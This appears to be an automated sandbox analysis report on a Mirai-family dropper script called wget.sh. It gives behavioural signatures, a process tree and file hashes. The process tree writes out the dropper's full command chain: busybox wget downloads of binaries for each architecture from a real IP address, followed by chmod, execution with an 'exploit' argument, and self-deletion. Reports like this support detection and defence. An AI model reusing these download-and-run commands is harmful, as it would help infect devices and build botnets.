Analysis

  • max time kernel
    123s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    17/02/2025, 17:57

General

  • Target

    wget.sh

  • Size

    1KB

  • MD5

    d011eee1c3ee60b1a1db3ae1e9e65ad6

  • SHA1

    18f4cee16484157375f8bbcf21acca220a258d66

  • SHA256

    dd5851b5ab04287b30ed4d1bed6f7940d256849c8d6cfc9936df59afa4c328aa

  • SHA512

    ed73548c60e65449f31d4bc5ca644d2f59e72d0843a24b3236707338fbed8e26ed608897d0c5a26a971357e7d28b92a9ecb6d8d76d5f7d55e93bf0aa3dd3f6ac

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (59976) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Reads process memory 1 TTPs 9 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 30 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:698
    • /bin/busybox
      /bin/busybox wget http://193.143.1.32/jklarm -O jklarm
      2⤵
      • Writes file to tmp directory
      PID:699
    • /bin/busybox
      /bin/busybox chmod +x jklarm
      2⤵
      • File and Directory Permissions Modification
      PID:802
    • /tmp/jklarm
      ./jklarm exploit
      2⤵
        PID:803
      • /bin/busybox
        /bin/busybox rm -rf jklarm
        2⤵
          PID:805
        • /bin/busybox
          /bin/busybox wget http://193.143.1.32/jklarm5 -O jklarm5
          2⤵
          • Writes file to tmp directory
          PID:806
        • /bin/busybox
          /bin/busybox chmod +x jklarm5
          2⤵
          • File and Directory Permissions Modification
          PID:810
        • /tmp/jklarm5
          ./jklarm5 exploit
          2⤵
            PID:811
          • /bin/busybox
            /bin/busybox rm -rf jklarm5
            2⤵
              PID:813
            • /bin/busybox
              /bin/busybox wget http://193.143.1.32/jklarm6 -O jklarm6
              2⤵
              • Writes file to tmp directory
              PID:814
            • /bin/busybox
              /bin/busybox chmod +x jklarm6
              2⤵
              • File and Directory Permissions Modification
              PID:815
            • /tmp/jklarm6
              ./jklarm6 exploit
              2⤵
                PID:816
              • /bin/busybox
                /bin/busybox rm -rf jklarm6
                2⤵
                  PID:818
                • /bin/busybox
                  /bin/busybox wget http://193.143.1.32/jklarm7 -O jklarm7
                  2⤵
                  • Writes file to tmp directory
                  PID:819
                • /bin/busybox
                  /bin/busybox chmod +x jklarm7
                  2⤵
                  • File and Directory Permissions Modification
                  PID:820
                • /tmp/jklarm7
                  ./jklarm7 exploit
                  2⤵
                    PID:821
                  • /bin/busybox
                    /bin/busybox rm -rf jklarm7
                    2⤵
                      PID:823
                    • /bin/busybox
                      /bin/busybox wget http://193.143.1.32/jklm68k -O jklm68k
                      2⤵
                      • Writes file to tmp directory
                      PID:824
                    • /bin/busybox
                      /bin/busybox chmod +x jklm68k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:825
                    • /tmp/jklm68k
                      ./jklm68k exploit
                      2⤵
                        PID:826
                      • /bin/busybox
                        /bin/busybox rm -rf jklm68k
                        2⤵
                          PID:828
                        • /bin/busybox
                          /bin/busybox wget http://193.143.1.32/jklmips -O jklmips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:829
                        • /bin/busybox
                          /bin/busybox chmod +x jklmips
                          2⤵
                          • File and Directory Permissions Modification
                          PID:830
                        • /tmp/jklmips
                          ./jklmips exploit
                          2⤵
                          • System Network Configuration Discovery
                          PID:831
                        • /bin/busybox
                          /bin/busybox rm -rf jklmips
                          2⤵
                          • System Network Configuration Discovery
                          PID:833
                        • /bin/busybox
                          /bin/busybox wget http://193.143.1.32/jklmpsl -O jklmpsl
                          2⤵
                          • Writes file to tmp directory
                          PID:834
                        • /bin/busybox
                          /bin/busybox chmod +x jklmpsl
                          2⤵
                          • File and Directory Permissions Modification
                          PID:835
                        • /tmp/jklmpsl
                          ./jklmpsl exploit
                          2⤵
                          • Deletes itself
                          • Modifies Watchdog functionality
                          • Renames itself
                          • Enumerates active TCP sockets
                          • Reads process memory
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:836
                        • /bin/busybox
                          /bin/busybox rm -rf jklmpsl
                          2⤵
                            PID:838
                          • /bin/busybox
                            /bin/busybox wget http://193.143.1.32/jklppc -O jklppc
                            2⤵
                            • Writes file to tmp directory
                            PID:840
                          • /bin/busybox
                            /bin/busybox chmod +x jklppc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:843
                          • /tmp/jklppc
                            ./jklppc exploit
                            2⤵
                              PID:844
                            • /bin/busybox
                              /bin/busybox rm -rf jklppc
                              2⤵
                                PID:846
                              • /bin/busybox
                                /bin/busybox wget http://193.143.1.32/jklsh4 -O jklsh4
                                2⤵
                                  PID:847
                                • /bin/busybox
                                  /bin/busybox chmod +x jklsh4
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:848
                                • /tmp/jklsh4
                                  ./jklsh4 exploit
                                  2⤵
                                    PID:849
                                  • /bin/busybox
                                    /bin/busybox rm -rf jklsh4
                                    2⤵
                                      PID:850
                                    • /bin/busybox
                                      /bin/busybox wget http://193.143.1.32/jklspc -O jklspc
                                      2⤵
                                        PID:851
                                      • /bin/busybox
                                        /bin/busybox chmod +x jklspc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:852
                                      • /tmp/jklspc
                                        ./jklspc exploit
                                        2⤵
                                          PID:853
                                        • /bin/busybox
                                          /bin/busybox rm -rf jklspc
                                          2⤵
                                            PID:854
                                          • /bin/busybox
                                            /bin/busybox wget http://193.143.1.32/jklx86 -O jklx86
                                            2⤵
                                              PID:855
                                            • /bin/busybox
                                              /bin/busybox chmod +x jklx86
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:856
                                            • /tmp/jklx86
                                              ./jklx86 exploit
                                              2⤵
                                                PID:857
                                              • /bin/busybox
                                                /bin/busybox rm -rf jklx86
                                                2⤵
                                                  PID:858
                                                • /bin/busybox
                                                  /bin/busybox wget http://193.143.1.32/jklarc -O jklarc
                                                  2⤵
                                                    PID:859
                                                  • /bin/busybox
                                                    /bin/busybox chmod +x jklarc
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:860
                                                  • /tmp/jklarc
                                                    ./jklarc exploit
                                                    2⤵
                                                      PID:861
                                                    • /bin/busybox
                                                      /bin/busybox rm -rf jklarc
                                                      2⤵
                                                        PID:862
                                                      • /bin/busybox
                                                        /bin/busybox rm -rf wget.sh
                                                        2⤵
                                                          PID:863

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/jklarm

                                                        Filesize

                                                        54KB

                                                        MD5

                                                        60323049a9468c264a9535600a053b6e

                                                        SHA1

                                                        960ec393b1590fee232414d8d8f279b189573b6f

                                                        SHA256

                                                        3ac4757c406bac2bedd2771c5c137607e2788099782ca939cb40c32aa2c71343

                                                        SHA512

                                                        e1e33d7bf40b34e4a90a88b2ada4822dc150ae705ae118f2a169f1dc427a4bad4fcc6a0e3e668483024395ae9005d2bef1ac82952774b359063dbc6f32e44954

                                                      • /tmp/jklarm5

                                                        Filesize

                                                        54KB

                                                        MD5

                                                        368f814e3fcc026df077492406916cfb

                                                        SHA1

                                                        94a499401b79d75a6c1df3eb205dc44057425f5b

                                                        SHA256

                                                        4cb919fe578f5a95e86157987898bb2959019260992578f42e7abd79f3d864ce

                                                        SHA512

                                                        e334932543ea5bead5ea96f13191f967e63893b92ffa2fe6793afe5d39615f46c2b62ab4ff8846f78cffeb32dd51ae6a88ba36dd59cab8da75a1cbd0f1b842cc

                                                      • /tmp/jklarm6

                                                        Filesize

                                                        65KB

                                                        MD5

                                                        3efe981dfb09404a90020f31b91a0d99

                                                        SHA1

                                                        75dad217f8faab13473fa87f1f90cfab16646e67

                                                        SHA256

                                                        b0200c4648356ccc6af1711e1673c133c8f785611b10d49f925958507bb8b213

                                                        SHA512

                                                        6f5068a4d9fa7e6db711cb6207a3316a24d58d68e6996e211d6a10ac5eee3b67adbd8677d7f4061eac2476b5596c9c767055ab3a19bcf569137c7ca3ed8177fc

                                                      • /tmp/jklarm7

                                                        Filesize

                                                        77KB

                                                        MD5

                                                        82feacfdba7096dd1f30ae81b443ed99

                                                        SHA1

                                                        1ffc5f931d6bbf76e3ae065033fc5cb95a9e8a33

                                                        SHA256

                                                        dec770c2901a222ec48915adfe1f7c6091fc3e9b03941a53f44b21593af862d2

                                                        SHA512

                                                        07f59c67b2c32911d031816713ad9bcd36f2b3beaf9c7645c1d3b73fc29fb2d09aef648a08fd6f83037bf3731d287babcfc7c228fac7af465bc79ad325477c9d

                                                      • /tmp/jklm68k

                                                        Filesize

                                                        55KB

                                                        MD5

                                                        0e6cf4992f8f2394394ca5972339a663

                                                        SHA1

                                                        acd7245a3e7b0f394100658336e10aaa2774771d

                                                        SHA256

                                                        30c5e7b561a3e61ab67af8181fd6b996258325bf8137531ffe9d2b3f438a3d46

                                                        SHA512

                                                        66f9c4f37e8c039a2b435a213629992a88b15609f3d449b1552a5aade52981d8679b1f949b35d9edfc2522a2c5acd4efbb4ed55b64ec08d55818205b8cc78c10

                                                      • /tmp/jklmips

                                                        Filesize

                                                        70KB

                                                        MD5

                                                        9f505111a75f65954723020bee516bc1

                                                        SHA1

                                                        0aa2fbd97682553fcfd5a6494e09498c04df96b3

                                                        SHA256

                                                        5e2d9f9531aff471dd5d92b772c57ba66cfb39aefef46fb878f3d30db9a8c1c8

                                                        SHA512

                                                        66fe3d79c76e4c773b6512f90ed9b3dd60cba157882a8093931c60c5771191c1c8442ee96121fb9e578056dfa91a6878f4271e1e2e02fdd4c73d50e33ceac640

                                                      • /tmp/jklmpsl

                                                        Filesize

                                                        74KB

                                                        MD5

                                                        e21d64812567d5607c06f765f06b40c2

                                                        SHA1

                                                        c05d80301c864dbc3b4176406fb2e33870f916ed

                                                        SHA256

                                                        3132f0d33ba9fc64e8258e2094745f4fe60d4f044b5b8fe0aef5e311d9e0adaf

                                                        SHA512

                                                        30a3416d773cb0bc0f68a8198e860d31c0c9e860f43338ba4dcb2fc2ccfa254ddf9b390ead160935235db6a7509f1caaea2c8b148743e400591c764ec3e5e9e5

                                                      • /tmp/jklppc

                                                        Filesize

                                                        53KB

                                                        MD5

                                                        62cafb625700d87c3242d68320221463

                                                        SHA1

                                                        54f17fd56f5b8e61a5c398f08c341be52b3451a1

                                                        SHA256

                                                        6a541797dea9e8cdf398344bde77b8d9255d96b295edb8152a0dc9864f799666

                                                        SHA512

                                                        dce3448426b786ef1ad705943682b056ae6080e526cd78121bdf3be4e5e0b95ead681385aa67bdf8a6d69b311aaf7869f2d312bc9dca982b53e89a418b356451